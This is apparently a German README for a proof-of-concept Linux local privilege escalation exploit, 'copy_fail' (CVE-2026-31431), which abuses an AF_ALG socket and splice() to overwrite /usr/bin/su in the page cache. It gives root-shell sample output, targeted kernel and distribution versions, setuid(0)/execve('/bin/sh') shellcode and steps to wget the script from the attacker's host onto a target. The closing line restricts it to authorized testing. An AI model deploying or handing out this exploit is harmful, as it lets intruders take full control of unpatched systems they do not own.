
PoC-Shell-Exploit für CVE-2026-31431 (copy_fail) — Linux-LPE über AF_ALG + Splice-Page-Cache-Überschreibung. Einzelschuss, keine Race Condition, Kernel 4.9–6.18.
Lokale Privilegieneskalation über AF_ALG-Socket + splice()-Page-Cache-Überschreibung.
Überschreibt eine schreibgeschützte SUID-Binärdatei (/usr/bin/su) mit einem minimalen ELF, das setuid(0) + execve("/bin/sh") aufruft. Keine Race-Condition, keine distro-spezifischen Offsets, ein einziger Durchlauf.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 liegt im verwundbaren Fenster (4.9 – 6.18) — fahre fort
[*] Kompiliere...
[+] Kompilierung erfolgreich — starte
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Der AF_ALG-Socket (Crypto-API) des Linux-Kernels erlaubt in Kombination mit splice() einen Schreibzugriff auf eine mit O_RDONLY geöffnete Datei, indem der Page-Cache manipuliert wird. Der Kernel überspringt die Schreibberechtigungsprüfung im Copy-on-Write-Kurzschluss innerhalb des Splice-Pfads des ALG-Sockets — dieselbe Fehlerklasse wie Dirty Pipe (CVE-2022-0847), jedoch über einen anderen Codepfad ausgelöst, der in Kernel 4.9 eingeführt wurde.
| Kernel-Bereich | Status |
|---|---|
| < 4.9 | Nicht betroffen (verwundbarer Codepfad nicht vorhanden) |
| 4.9 – 6.18 | Verwundbar (~9 Jahre, 2017–2026) |
| ≥ 6.19 | Gepatcht |
| Distribution | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc auf dem Zielsystem verfügbar/tmp# Auf dem Zielsystem
wget http://<deine-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
Das Skript wird:
/usr/bin/su mit dem Root-Shell-Payload überschreibenAF_ALG-Socket (AEAD)
│
│ sendmsg() mit manipulierten Ancillary-Daten (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (Operations-Socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
Der Splice-Pfad des Kernels innerhalb des ALG-Sockets überspringt die Copy-on-Write-Berechtigungsprüfung und schreibt direkt in den Page-Cache der Zieldatei, obwohl diese schreibgeschützt geöffnet wurde. Der Payload (ein 160-Byte-ELF) wird in 40 Iterationen jeweils 4 Bytes auf einmal geschrieben.
Payload-Shellcode:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| Datei | Beschreibung |
|---|---|
copy_fail_exp.sh | Bash-Skript — kompiliert und läuft auf dem Zielsystem, kein Python erforderlich |
copy_fail_exp.py | Ursprüngliche Python-Version als Referenz |
copy_fail_exp_deobfuscated.py | Deobfuskierte und kommentierte Python-Version |
Nur für autorisierte Sicherheitstests sowie CTF-/Laborumgebungen. Nicht gegen Systeme verwenden, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Testgenehmigung hast.